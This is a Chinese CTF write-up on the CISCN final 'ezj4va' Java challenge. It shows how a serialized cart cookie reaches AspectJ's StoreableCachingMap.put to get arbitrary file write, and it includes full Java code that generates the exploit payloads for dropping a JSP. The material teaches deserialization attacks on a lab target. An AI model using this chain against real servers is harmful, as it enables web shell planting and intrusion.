前言这次 国赛决赛 有道 java 题感觉还不错,个人认为很适合初学反序列化的人题目文件上传在了 github 上 :https//github.com/liey1/timu/blob/main/ciscn%20ezj4va.zip…
前言
这次 国赛决赛 有道 java 题感觉还不错,个人认为很适合初学反序列化的人
题目文件上传在了 github 上 :
https://github.com/liey1/timu/blob/main/ciscn%20ezj4va.zip
项目运行
首先,直接把项目拖进idea是无法运行的,比较简单的方法是,拖进去后:
右键项目文件夹 -> Add Framework Support -> 选中 Web Application
完成后添加一下 Tomcat Server 修改一下 Application Context 即可。
启动项目,即可正常访问了
漏洞分析
通过阅读文件很容易发现漏洞点在 Deserializer :
查看pom的依赖会发现没有常用的反序列化链可用。
但是此处有 aspectj,这里学习了一下这篇文章的知识点4
https://www.cnblogs.com/sijidou/p/14631154.html
yso也加入了这个链,不过需要配合 CC:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java
可以知道漏洞点 SimpleCache下的StoreableCachingMap 的 put 函数,我们只需要找到一个调用put函数,并且可以控制参数的地方。
找到 CartServiceImpl的 addToCart函数:
这里的 skuPrice 是 cart 的 skuPrice,cart是这道题自定义的一个类,并且是可被序列化的
36行的 cart是 oldCartStr 进行了反序列化,找到调用这个函数的地方,
找到在 CartController下的 add 函数,根据路由发现,可以通过 /cart/add直接访问
这里的 skus 通过参数传递,然后 oldCart是 cookie中的 cart。
再回到 addToCart:

这里 put调用 put 时的 键 和 值 是通过第一个参数反序列化后,获取了 skuDescribe,然后调用了 entrySet,第一次参数也是可控的,所以可以把 skuPrice 设置成 HashMap即可。
这样 put 的参数也可控了,我们可以写一个 TestController 测试一下:
package ciscn.fina1.ezj4va.controller;
import ciscn.fina1.ezj4va.domain.Cart;
import ciscn.fina1.ezj4va.utils.Serializer;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
@WebServlet(urlPatterns = ("/test"))
public class TestController extends HttpServlet {
protected String getSkus() {
try {
Cart cart = new Cart();
Field sku_f = cart.getClass().getDeclaredField("skuDescribe");
sku_f.setAccessible(true);
HashMap hashMap = new HashMap<>();
String values = "abc";
hashMap.put("test", values.getBytes());
sku_f.set(cart, hashMap);
return Serializer.serialize(cart);
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
protected String getOldCart() {
try {
Cart cart = new Cart();
Field sku_f = cart.getClass().getDeclaredField("skuDescribe");
sku_f.setAccessible(true);
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object o = constructor.newInstance("C:/test/", 1);
sku_f.set(cart, o);
return Serializer.serialize(cart);
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String payload = "";
resp.getWriter().println("oldStr:"+getOldCart());
resp.getWriter().println();
resp.getWriter().println();
resp.getWriter().println("skus:" + getSkus());
}
}
oldStr 传给 Cookie 的 cart,skus传给 post,skus需要 url 编码一下:
这道题是 Tomcat 环境,直接写入 jsp 即可。
payload 中这里用的是题目已经帮我们写好的序列化方法。
这里有几个小细节,就是 put 方法中:
此处的 value 强转成了 byte[],所以我们也需要转换成 byte 数组。
然后 writeToPath中:
至此漏洞利用就完成了。
总结
这道题不像 CC 链那样一大串,这其实就是反序列化然后直接调用了 SimpleCache.StoreableCachingMap 下的 put 方法,主要依赖的还是这道题自带的 addToCart 函数造成任意文件写入
- 本文作者: ruozhididi
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/337
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!











